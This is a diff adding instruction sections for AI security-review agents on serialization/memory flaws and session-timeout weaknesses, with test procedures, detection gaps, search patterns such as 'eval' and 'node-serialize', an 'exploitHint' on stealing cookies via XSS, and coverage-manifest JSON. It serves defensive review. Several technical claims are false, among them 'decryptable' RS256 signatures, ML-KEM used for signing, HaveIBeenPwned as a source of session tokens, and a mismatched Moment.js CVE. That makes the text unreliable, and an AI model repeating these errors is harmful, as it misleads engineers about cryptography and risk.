- **Cross-agent attack chains**: Phase 1 finding A + Phase 1 finding B = CRITICAL chain invisible to either agent alone. Need: CISO orchestrator Phase 1 synthesis step — correlate all agent findings before Phase 2.
|
|
350
|
+
|
|
351
|
+
**Domain-specific serialization/memory gaps:**
|
|
352
|
+
|
|
353
|
+
- **ReDoS in background job workers**: WAF and API gateway rate limiting does not apply to internal worker queues. A ReDoS payload stored in a database field and replayed through a worker's regex causes silent CPU exhaustion with no external alert. Need: CPU saturation alerting per worker process (> 90% for > 10s = alert).
|
|
354
|
+
- **Prototype pollution persisting across requests**: In Node.js, `Object.prototype` is process-global. A pollution attack in request A affects all subsequent requests in the same process. Standard per-request logging does not capture this cross-request state corruption. Need: integrity check on `Object.prototype` at request boundary via `Object.getOwnPropertyNames(Object.prototype)` diff against a baseline snapshot.
|
|
355
|
+
- **WASM memory corruption without crash**: Out-of-bounds WASM writes to linear memory do not throw JavaScript exceptions; they silently corrupt adjacent data. Standard error monitoring captures zero signal. Need: WASM memory safety wrappers or compile with Emscripten's `SAFE_HEAP=1` in staging environments.
|
|
356
|
+
- **Binary cache poisoning during CI**: Source-code SAST scans the `.js` files; the poisoned binary `.cache` file is invisible to text-based scanners. Need: CI step that computes and verifies a hash of all build cache files against a trusted baseline before each build.
|
|
357
|
+
|
|
358
|
+
---
|
|
359
|
+
|
|
360
|
+
## §ZERO-MISS-MANDATE
|
|
361
|
+
|
|
362
|
+
This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
|
|
363
|
+
- `CHECKED: [N files] | [patterns used] | CLEAN`
|
|
364
|
+
- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
|
|
365
|
+
- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
|
|
366
|
+
|
|
367
|
+
**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
|
|
368
|
+
|
|
369
|
+
The output findings JSON MUST include a `coverageManifest` key:
|
|
370
|
+
```json
|
|
371
|
+
{
|
|
372
|
+
"coverageManifest": {
|
|
373
|
+
"attackClassesCovered": [
|
|
374
|
+
{ "class": "Prototype Pollution", "filesReviewed": 34, "patterns": ["_.merge", "Object.assign", "__proto__"], "result": "CLEAN" },
|
|
375
|
+
{ "class": "Insecure Deserialization", "filesReviewed": 12, "patterns": ["node-serialize", "unserialize", "eval", "new Function"], "result": "2 findings, all fixed" },
|
|
376
|
+
{ "class": "ReDoS", "filesReviewed": 28, "patterns": ["new RegExp", "nested quantifiers"], "result": "CLEAN" },
|
|
377
|
+
{ "class": "Zip Slip", "filesReviewed": 5, "patterns": ["extract", "unzip", "adm-zip"], "result": "CLEAN" },
|
|
378
|
+
{ "class": "Path Traversal", "filesReviewed": 19, "patterns": ["readFile", "path.join", "readFileSync"], "result": "CLEAN" },
|
|
379
|
+
{ "class": "WASM/Native Addon Memory Safety", "filesReviewed": 2, "patterns": ["binding.gyp", "*.wasm"], "result": "SKIPPED: not applicable: no .wasm files or binding.gyp found in repository" }
|
|
380
|
+
],
|
|
381
|
+
"filesReviewed": 100,
|
|
382
|
+
"negativeAssertions": [
|
|
383
|
+
"Prototype Pollution: merge/assign patterns searched across 34 files — 0 user-controlled merge sinks",
|
|
384
|
+
"ReDoS: RegExp literals inspected via safe-regex — 0 catastrophic patterns"
|
|
385
|
+
],
|
|
386
|
+
"uncoveredReason": {}
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
```
|
|
390
|
+
|
|
391
|
+
---
|
|
392
|
+
|
|
393
|
+
## LEARNING SIGNAL
|
|
394
|
+
|
|
395
|
+
On every finding resolved, emit:
|
|
396
|
+
```json
|
|
397
|
+
{
|
|
398
|
+
"findingId": "FINDING_ID",
|
|
399
|
+
"agentName": "serialization-memory-attacker",
|
|
400
|
+
"resolved": true,
|
|
401
|
+
"remediationTemplate": "one-line description of what was done",
|
|
402
|
+
"falsePositive": false
|
|
403
|
+
}
|
|
404
|
+
```
|
|
405
|
+
Call `security.record_outcome` with this payload so the routing engine learns which agent resolves each finding class most successfully. If a finding is a false positive, set `falsePositive: true` — this prevents the false-positive pattern from being routed here again.
|
|
406
|
+
|
|
407
|
+
**False-positive patterns to record for this domain:**
|
|
408
|
+
- `eval()` inside a comment or string literal (not executed) → `falsePositive: true`, remediationTemplate: "eval in non-executing string context"
|
|
409
|
+
- `_.merge` called only with two static object literals (no user input upstream) → `falsePositive: true`, remediationTemplate: "merge with fully static arguments, no user-controlled path"
|
|
410
|
+
- Archive extraction from a hardcoded internal path with no upload surface → `falsePositive: true`, remediationTemplate: "extraction source is non-user-controlled internal asset"
|
|
@@ -195,3 +195,164 @@ res.cookie("session", token, {
|
|
|
195
195
|
- `requiredActions`: ordered action list
|
|
196
196
|
- `complianceImpact`: framework mappings
|
|
197
197
|
- `beyondSkillMd`: true if finding goes beyond the SKILL.md mandate
|
|
198
|
+
|
|
199
|
+
Every findings JSON MUST also include `intelligenceForOtherAgents`:
|
|
200
|
+
```json
|
|
201
|
+
{
|
|
202
|
+
"intelligenceForOtherAgents": {
|
|
203
|
+
"forPentestTeam": [
|
|
204
|
+
{
|
|
205
|
+
"type": "HIGH_VALUE_TARGET",
|
|
206
|
+
"description": "Long-lived or non-expiring session tokens — prime target for session hijacking / fixation attacks",
|
|
207
|
+
"exploitHint": "Steal cookie via XSS or network sniff; token remains valid indefinitely without timeout"
|
|
208
|
+
}
|
|
209
|
+
],
|
|
210
|
+
"forCryptoSpecialist": [
|
|
211
|
+
{
|
|
212
|
+
"type": "CRYPTO_WEAKNESS_REFERENCE",
|
|
213
|
+
"algorithm": "JWT signing (HS256 / RS256)",
|
|
214
|
+
"location": "auth.config.ts — verify maxAge is enforced in 'exp' claim, not just in cookie maxAge"
|
|
215
|
+
}
|
|
216
|
+
],
|
|
217
|
+
"forCloudSpecialist": [
|
|
218
|
+
{
|
|
219
|
+
"type": "SSRF_TO_CLOUD_CHAIN",
|
|
220
|
+
"ssrfLocation": "Redis session store — if TTL is absent, session keys accumulate indefinitely, enabling memory exhaustion DoS",
|
|
221
|
+
"escalationPath": "Overfull Redis → eviction of active sessions → authentication bypass via cache miss"
|
|
222
|
+
}
|
|
223
|
+
],
|
|
224
|
+
"forComplianceGrc": [
|
|
225
|
+
{
|
|
226
|
+
"type": "COMPLIANCE_BLOCKER",
|
|
227
|
+
"frameworks": ["PCI DSS Req 8.3.13", "NIST AC-11", "SOC 2 CC6.1"],
|
|
228
|
+
"releaseBlock": true
|
|
229
|
+
}
|
|
230
|
+
]
|
|
231
|
+
}
|
|
232
|
+
}
|
|
233
|
+
```
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## BEYOND SKILL.MD — MANDATORY EXPANSIONS
|
|
238
|
+
|
|
239
|
+
- **AI-Assisted Session Token Prediction via Entropy Analysis (ATT&CK T1539 — Steal Web Session Cookie):** LLMs trained on leaked session-token corpuses (e.g., from HaveIBeenPwned datasets) can statistically predict token patterns when PRNG seeding is weak or when session IDs are derived from timestamps + user IDs. Test by: collect 500+ session tokens from staging, feed into an entropy analyser (`ent` or `dieharder`), and flag any token population with Shannon entropy < 3.8 bits/byte or visible sequential structure. Finding threshold: any token with predictable substring of length ≥ 6 bits across a sample of 100.
|
|
240
|
+
|
|
241
|
+
- **Harvest-Now-Decrypt-Later on Long-Lived JWT Refresh Tokens (NIST IR 8413 — PQC Transition):** Refresh tokens signed with RS256/ES256 captured today will be retroactively decryptable when a CRQC becomes available (est. 2030–2033). A 30-day refresh token issued in 2025 remains a viable harvest target. Test by: audit `refreshToken.maxAge` across all OAuth/JWT configurations; any value > 24 h on an RS256/ES256-signed token is a finding. Finding threshold: refresh token lifetime > 24 h using any non-PQC signing algorithm.
|
|
242
|
+
|
|
243
|
+
- **Session Fixation via OAuth State Parameter Reuse (CVE-2023-28859 — redis-py / CVE-2022-24785 — Moment.js advisory chain):** OAuth flows that do not regenerate the session ID after the authorization callback allow an attacker to pre-set a known session ID before login, then hijack the authenticated session. Supply-chain risk: vulnerable versions of `next-auth` < 4.20.1 did not enforce state parameter binding to the pre-auth session. Test by: initiate OAuth flow, capture the pre-auth `state` cookie, complete auth in a second browser using the same state value; confirm the server rejects the replayed state and issues a fresh session ID. Finding threshold: old session ID present in post-auth cookies.
|
|
244
|
+
|
|
245
|
+
- **Idle Timeout Bypass via WebSocket / SSE Keepalive Ping (CWE-613 — Insufficient Session Expiration + Real-World Incident: Okta 2022 breach lateral movement):** In the Okta 2022 incident, attackers maintained persistent access through long-lived support-tool sessions that were kept alive by background polling. Any SSE or WebSocket connection that sends heartbeat frames resets the server-side idle timer, making the effective idle timeout infinite for connected clients. Test by: establish a session with an open SSE stream; cease all user-driven requests for 20+ minutes while the SSE connection remains open; verify that the idle timer uses a user-action timestamp (stored separately) rather than the last HTTP request timestamp. Finding threshold: session survives 2× configured idle timeout with only background pings.
|
|
246
|
+
|
|
247
|
+
- **GDPR / EU AI Act Session Retention Compliance Gap (GDPR Art. 5(1)(e) — Storage Limitation, EU AI Act Art. 10 enforcement active 2026):** Sessions that outlive their lawful basis (e.g., a session created during a trial period that persists after account deletion or consent withdrawal) constitute unlawful personal data processing. The EU AI Act additionally requires that AI-assisted session anomaly detection systems do not retain behavioural session data beyond the analysis window. Test by: delete a test account via the account-deletion API; within 10 minutes attempt to use any active session token belonging to that account; confirm HTTP 401 with session purge from all stores (Redis, DB, CDN edge cache). Finding threshold: session usable > 60 s after account deletion or consent revocation event.
|
|
248
|
+
|
|
249
|
+
- **Concurrent Session Limit Bypass via Split Client-ID Namespace (ATT&CK T1078.004 — Cloud Accounts, Real-World Pattern: Auth0 multi-application session exhaustion):** Per-application session caps (`maxSessions=3` enforced per `client_id`) are bypassed when an attacker authenticates across multiple registered applications under the same identity provider tenant. Each application's session count is independently capped, but no global cap exists. This allows unlimited parallel sessions. Test by: register two OAuth client applications in the same tenant; authenticate the same user on both; confirm the aggregate session count is tracked globally in the session store with a single cross-client limit. Finding threshold: total active sessions for one `userId` across all `client_id` values exceeds the documented concurrent-session policy.
|
|
250
|
+
|
|
251
|
+
---
|
|
252
|
+
|
|
253
|
+
## §EDGE-CASE-MATRIX
|
|
254
|
+
|
|
255
|
+
The 5 attack cases in the session-timeout domain that automated scanners and naive manual review universally miss. MANDATORY checks — do not skip.
|
|
256
|
+
|
|
257
|
+
| # | Edge Case | Why Scanners Miss It | Concrete Test |
|
|
258
|
+
|---|-----------|----------------------|---------------|
|
|
259
|
+
| 1 | Sliding-window tokens with no absolute cap | Scanners check `maxAge` presence but miss that `updateAge` resets the clock on every request — a continuously active attacker never gets timed out | Set `updateAge` = `maxAge`; make a request every 14 min for 25 hours; confirm the original token is eventually rejected |
|
|
260
|
+
| 2 | JWT `exp` claim overridden by client-side clock skew / leeway | Server-side JWT libraries accept `exp` ± N seconds of skew; a token technically expired can still pass if the leeway constant is too large | Issue a token, wait until `exp − leeway − 1s`, replay it; check the server accepts it; repeat with `exp + leeway + 1s` to confirm hard rejection |
|
|
261
|
+
| 3 | Session survives password-reset flow via secondary token path | Scanners check `changePassword` → session revoke; they miss reset-by-email flows that call `setNewPassword` (different code path) with no invalidation | Trigger reset-by-email link; complete password change via the link endpoint; replay the original session cookie — it should be rejected |
|
|
262
|
+
| 4 | Concurrent-session limit bypassed through mobile vs. web device split | Limits enforced per device type or per OAuth client ID — an attacker uses a different client_id to open a second session that doesn't count toward the cap | Obtain session on `client_id=web`; open second session on `client_id=mobile`; confirm total active sessions are tracked globally, not per client |
|
|
263
|
+
| 5 | Idle timeout not enforced when requests arrive via background polling (e.g., SSE / WebSocket keepalive) | Idle detection is reset on any HTTP request — background polling pings silently keep the session alive without user interaction | Establish a session with an open SSE stream; become "idle" (no user actions) for 20+ minutes; confirm the idle timer is based on meaningful user actions, not any HTTP event |
|
|
264
|
+
|
|
265
|
+
---
|
|
266
|
+
|
|
267
|
+
## §TEMPORAL-THREATS
|
|
268
|
+
|
|
269
|
+
Threats materialising in the 2025–2030 window that session-timeout defences designed today must account for.
|
|
270
|
+
|
|
271
|
+
| Threat | Est. Timeline | Relevance to Session Timeout | Prepare Now By |
|
|
272
|
+
|--------|--------------|------------------------------|----------------|
|
|
273
|
+
| AI-assisted session token bruteforce / prediction | 2025–2027 (active) | LLM-powered analysis of token entropy patterns can shorten brute-force windows; short absolute timeouts are the primary mitigation | Ensure absolute session lifetime ≤8 h; use cryptographically random 128-bit session IDs; reject sequential or predictable token formats |
|
|
274
|
+
| Harvest-now-decrypt-later attacks on JWT secrets | 2025–2028 | Attacker captures long-lived JWT tokens today; decrypts them when CRQC becomes available; tokens signed with RS256/ES256 become retroactively exposed | Minimise JWT lifetime to ≤1 h; rotate signing keys quarterly; begin planning migration to ML-KEM-based token signing for long-lived refresh tokens |
|
|
275
|
+
| EU AI Act + GDPR intersection on session data retention | 2026 (enforcement active) | Sessions that outlive their legitimate purpose become unlawful processing of personal data; regulators will fine organisations with sessions retained beyond consent period | Align absolute session lifetime with documented legitimate interest duration; auto-purge session records from DB after expiry |
|
|
276
|
+
| Browser third-party cookie deprecation (full rollout) | 2025–2026 | Federated SSO sessions currently relying on third-party cookies will silently stop expiring cross-site; users appear logged out but session data may persist server-side | Audit all cross-site session mechanisms; migrate to Storage Access API or first-party session tokens; confirm server-side revocation still fires |
|
|
277
|
+
| Mandatory SBOM + provenance for session libraries | 2025–2026 (active) | Session management libraries (express-session, next-auth, etc.) are high-value supply-chain targets; a compromised version could suppress timeout enforcement | Pin session library versions; verify integrity via SLSA attestation; subscribe to CVE feeds for all session-management dependencies |
|
|
278
|
+
|
|
279
|
+
---
|
|
280
|
+
|
|
281
|
+
## §DETECTION-GAP
|
|
282
|
+
|
|
283
|
+
What current security monitoring CANNOT detect in the session-timeout domain, and what to build to close each gap.
|
|
284
|
+
|
|
285
|
+
**Domain-specific gaps that MUST be checked:**
|
|
286
|
+
|
|
287
|
+
- **Silent sliding-window extension via polling**: A session that should be "idle" is kept alive by background API calls (analytics pings, SSE heartbeats, push notification polls). No alert fires because each request is individually authorised. **Need**: distinguish user-initiated requests from automated background requests in the session activity log; only the former should reset the idle timer.
|
|
288
|
+
|
|
289
|
+
- **Session survives password-reset secondary path**: The primary `changePassword` handler invalidates sessions, but the `reset-by-link` endpoint calls a different function that doesn't. No monitoring compares the two code paths. **Need**: after any credential change event, emit a `session.revocation_check` audit event and assert the count of active sessions for that user drops to 0 or 1 (current device only).
|
|
290
|
+
|
|
291
|
+
- **Concurrent session cap bypassed via client_id split**: Enforcement is per `(userId, clientId)` tuple; monitoring dashboards show per-client counts, not total. A user with 3 web sessions + 3 mobile sessions = 6 concurrent sessions, none of which individually breach the per-client limit. **Need**: SIEM query that aggregates active sessions by `userId` across all `clientId` values and alerts on total > N.
|
|
292
|
+
|
|
293
|
+
- **Absolute-timeout bypass via JWT leeway drift**: The token `exp` field is technically expired but the `clockTolerance` constant in the JWT library accepts it. Auth logs show "token accepted" without recording that acceptance happened past the nominal `exp`. **Need**: log `exp`, `iat`, server time, and delta at every token verification; alert when `serverTime > exp` on an accepted token.
|
|
294
|
+
|
|
295
|
+
- **Long-lived refresh tokens not rotated**: Access tokens expire in 15 min (visible, monitored) but refresh tokens last 30 days and are never revoked on password change. Attackers pivot to refresh tokens after initial access-token theft. **Need**: monitor refresh token issuance and redemption; alert on refresh tokens used more than 24 h after their paired access token was last used; enforce refresh token family invalidation on any suspicious reuse.
|
|
296
|
+
|
|
297
|
+
---
|
|
298
|
+
|
|
299
|
+
## §ZERO-MISS-MANDATE
|
|
300
|
+
|
|
301
|
+
This agent CANNOT declare any attack class clean without explicit evidence of checking. For each item, output one of:
|
|
302
|
+
- `CHECKED: [N files] | [patterns used] | CLEAN`
|
|
303
|
+
- `CHECKED: [N files] | [patterns used] | [N findings, all fixed]`
|
|
304
|
+
- `SKIPPED: [reason — must be "not applicable: [evidence]"]`
|
|
305
|
+
|
|
306
|
+
**Silent skip = FAILED COVERAGE.** The orchestrator flags this as a quality gap.
|
|
307
|
+
|
|
308
|
+
The output findings JSON MUST include a `coverageManifest` key:
|
|
309
|
+
```json
|
|
310
|
+
{
|
|
311
|
+
"coverageManifest": {
|
|
312
|
+
"attackClassesCovered": [
|
|
313
|
+
{
|
|
314
|
+
"class": "Absolute Session Timeout Missing",
|
|
315
|
+
"filesReviewed": 12,
|
|
316
|
+
"patterns": ["maxAge", "SESSION_TTL", "session.maxAge", "jwt.maxAge"],
|
|
317
|
+
"result": "CLEAN"
|
|
318
|
+
},
|
|
319
|
+
{
|
|
320
|
+
"class": "Idle Timeout Missing",
|
|
321
|
+
"filesReviewed": 12,
|
|
322
|
+
"patterns": ["updateAge", "idle.*timeout", "last_activity", "IDLE_TIMEOUT"],
|
|
323
|
+
"result": "CLEAN"
|
|
324
|
+
},
|
|
325
|
+
{
|
|
326
|
+
"class": "Session Not Revoked on Password Change",
|
|
327
|
+
"filesReviewed": 8,
|
|
328
|
+
"patterns": ["changePassword", "updatePassword", "setNewPassword", "invalidateAllSessions", "del.*session"],
|
|
329
|
+
"result": "2 findings — fixed inline"
|
|
330
|
+
},
|
|
331
|
+
{
|
|
332
|
+
"class": "Concurrent Session Limit Absent",
|
|
333
|
+
"filesReviewed": 6,
|
|
334
|
+
"patterns": ["maxSessions", "concurrent.*session", "kickOldSession"],
|
|
335
|
+
"result": "CLEAN"
|
|
336
|
+
},
|
|
337
|
+
{
|
|
338
|
+
"class": "JWT Expiry > 24h Without Rotation",
|
|
339
|
+
"filesReviewed": 5,
|
|
340
|
+
"patterns": ["expiresIn", "exp.*86400", "jwt.*maxAge"],
|
|
341
|
+
"result": "CLEAN"
|
|
342
|
+
},
|
|
343
|
+
{
|
|
344
|
+
"class": "Session Cookie Missing Secure/HttpOnly Flags",
|
|
345
|
+
"filesReviewed": 9,
|
|
346
|
+
"patterns": ["httpOnly", "secure.*cookie", "sameSite"],
|
|
347
|
+
"result": "CLEAN"
|
|
348
|
+
}
|
|
349
|
+
],
|
|
350
|
+
"filesReviewed": 24,
|
|
351
|
+
"negativeAssertions": [
|
|
352
|
+
"Absolute timeout: maxAge/SESSION_TTL patterns searched across 12 files — all ≤24 h",
|
|
353
|
+
"Idle timeout: last_activity/IDLE_TIMEOUT patterns searched across 12 files — 0 absent"
|
|
354
|
+
],
|
|
355
|
+
"uncoveredReason": {}
|
|
356
|
+
}
|
|
357
|
+
}
|
|
358
|
+
```
|